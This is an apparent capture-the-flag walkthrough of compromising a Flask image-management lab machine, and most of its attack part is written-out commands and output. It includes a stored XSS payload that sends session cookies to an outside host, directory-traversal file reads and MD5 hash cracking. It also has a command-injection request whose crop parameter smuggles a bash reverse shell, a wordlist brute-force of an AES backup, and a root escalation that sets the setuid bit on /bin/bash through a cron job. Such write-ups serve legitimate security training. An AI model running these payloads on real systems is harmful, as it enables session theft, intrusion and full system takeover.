Machine Overview
The target machine hosts an image management web application built using the Flask framework. Through web and network enumeration, multiple vulnerabilities were identified, leading to initial access via command injection and subsequent privilege escalation through abuse of a custom backup tool with cron integration.
Enumeration
Nmap Scan
nmap -A -oN nmap.txt 10.10.11.88Open Ports:
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.7p1 Ubuntu 7ubuntu4.3 (Ubuntu Linux; protocol 2.0)
8000/tcp open http-alt Werkzeug/3.1.3 Python/3.12.7- Port 8000 hosts a web application running Flask 3.1.3.
- Port 22 is available for SSH access.
Web Enumeration
Initial Recon
Navigating to http://10.10.11.88:8000/ reveals an image uploading service with the ability to:
- Register/login users.
- Upload and manage images.
- Submit bug reports via a "Report Bug" page.

Technology Stack (via Wappalyzer):
- Flask 3.1.3 (Python backend)
- Werkzeug (WSGI server)
- DOMPurify (client-side input sanitization)

Client-Side Input Sanitization Analysis
The application uses DOMPurify for sanitizing user input on most pages, including:
- Login
- Registration
- Image upload
However, the "Report Bug" page lacks DOMPurify sanitization, exposing it to Cross-Site Scripting (XSS).
Vulability: Stored XSS
Vulnerability: Stored XSS
Payload:
<img src=x onerror=fetch('http://10.10.16.2:8080?cookie='+btoa(document.cookie))>Using a Python HTTP server to collect the cookie:
python3 -m http.server 8080Captured request from the victim (admin browser):
::ffff:10.10.11.88 - - [30/Sep/2025 18:52:10] "GET /?cookie=...base64..." HTTP/1.1" 200 -Decoded Cookie:
echo "..." | base64 -dUsing the stolen session cookie, access to the admin dashboard is achieved.

Admin Dashboard
The admin panel allows download of user login logs via the following endpoint:
GET /admin/get_system_log?log_identifier=<value>Vulnerability: Local File Inclusion (LFI)
Basic directory traversal payloads can retrieve sensitive files:
Example:
GET /admin/get_system_log?log_identifier=../../../../etc/passwdOutput:
root:x:0:0:root:/root:/bin/bash
web:x:1001:1001::/home/web:/bin/bash
mark:x:1002:1002::/home/mark:/bin/bashSource Code Disclosure via LFI
Leaking app.py and config.py via the LFI allows mapping of:
- App logic
- Import structure
- Sensitive configurations
Relevant files loaded via app.py:
from config import *
from utils import *
from api_admin import bp_admin
# ...From config.py, we retrieve:
DATA_STORE_PATH = "db.json"This leads to disclosure of application user data.
Sample user data (from db.json):
{
"username": "testuser@imagery.htb",
"password": "2c65c8d7bfbca32a3ed42596192384f6",
"isTestuser": true
}Exploitation: Command Injection via Flask Route
Vulnerable Endpoint
Route: /apply_visual_transform File: api_edit.py
Function: apply_visual_transform() performs image manipulation using ImageMagick. The crop operation uses the following command:
command = f"{IMAGEMAGICK_CONVERT_PATH} {original_filepath} -crop {width}x{height}+{x}+{y} {output_filepath}"Key Issue: The command is passed to subprocess.run() with shell=True, making it vulnerable to command injection via the y parameter.
Exploitation Steps
1. Cracking the Test User's Password
Using Hashcat and rockyou.txt:
hashcat -m 0 2c65c8d7bfbca32a3ed42596192384f6 /usr/share/wordlists/rockyou.txtResult:
2c65c8d7bfbca32a3ed42596192384f6:iambatman2. Reverse Shell Payload via Crop Parameters
Upload a test image. Then, use the following curl request to trigger a reverse shell:
curl -X POST -H "Content-Type: application/json" \
-d '{
"imageId": "fe3ed185-2ca3-43a4-837e-0f21bb0fddb3",
"transformType": "crop",
"params": {
"x": "0",
"y": "0; bash -c '\''bash -i >& /dev/tcp/10.10.16.2/4444 0>&1'\'' ; #",
"width": "100",
"height": "100"
}
}' \
--cookie "session=<valid_session_cookie>" \
http://10.10.11.88:8000/apply_visual_transformOn the attacker's machine:
nc -lvp 4444Successful shell:
bash-5.2$ id
uid=1001(web) gid=1001(web) groups=1001(web)Privilege Escalation: web → mark
Discovery: Encrypted Backup File
In /var/backup/:
web_20250806_120723.zip.aesBrute-force AES Decryption
Using pyAesCrypt and a wordlist:
import pyAesCrypt
for line in open("/usr/share/wordlists/rockyou.txt"):
password = line.strip()
try:
pyAesCrypt.decryptFile("web_20250806_120723.zip.aes", "output.zip", password)
print(f"[+] Password found: {password}")
break
except:
continueRecovered Password: bestfriends
Extracting Credentials
Unzipped db.json contains:
{
"username": "mark@imagery.htb",
"password": "01c3d2e5bdaf6134cec0a367cf53e535"
}Crack using Hashcat:
hashcat -m 0 01c3d2e5bdaf6134cec0a367cf53e535 /usr/share/wordlists/rockyou.txtPassword: supersmash
Switch user:
su markuid=1002(mark) gid=1002(mark) groups=1002(mark)Privilege Escalation: mark → root
Sudo Rights
sudo -l(ALL) NOPASSWD: /usr/local/bin/charcolBinary Analysis: charcol
charcol is a custom CLI backup utility with the ability to:
- Create and encrypt archives
- Add cron jobs via
charcol auto add
Abuse: Adding a Cron Job for Root Shell
sudo charcol auto add --schedule "*/1 * * * *" \
--command "chmod +s /bin/bash" --name "root_shell"Wait for the cron job to execute (within a minute).
Spawn Root Shell
/bin/bash -p
bash-5.2# id
uid=1002(mark) gid=1002(mark) euid=0(root) egid=0(root) groups=0(root),1002(mark)We get a root shell.
User/Root flags
- User Flag:
/home/mark/user.txt - Root Flag:
/root/root.txt


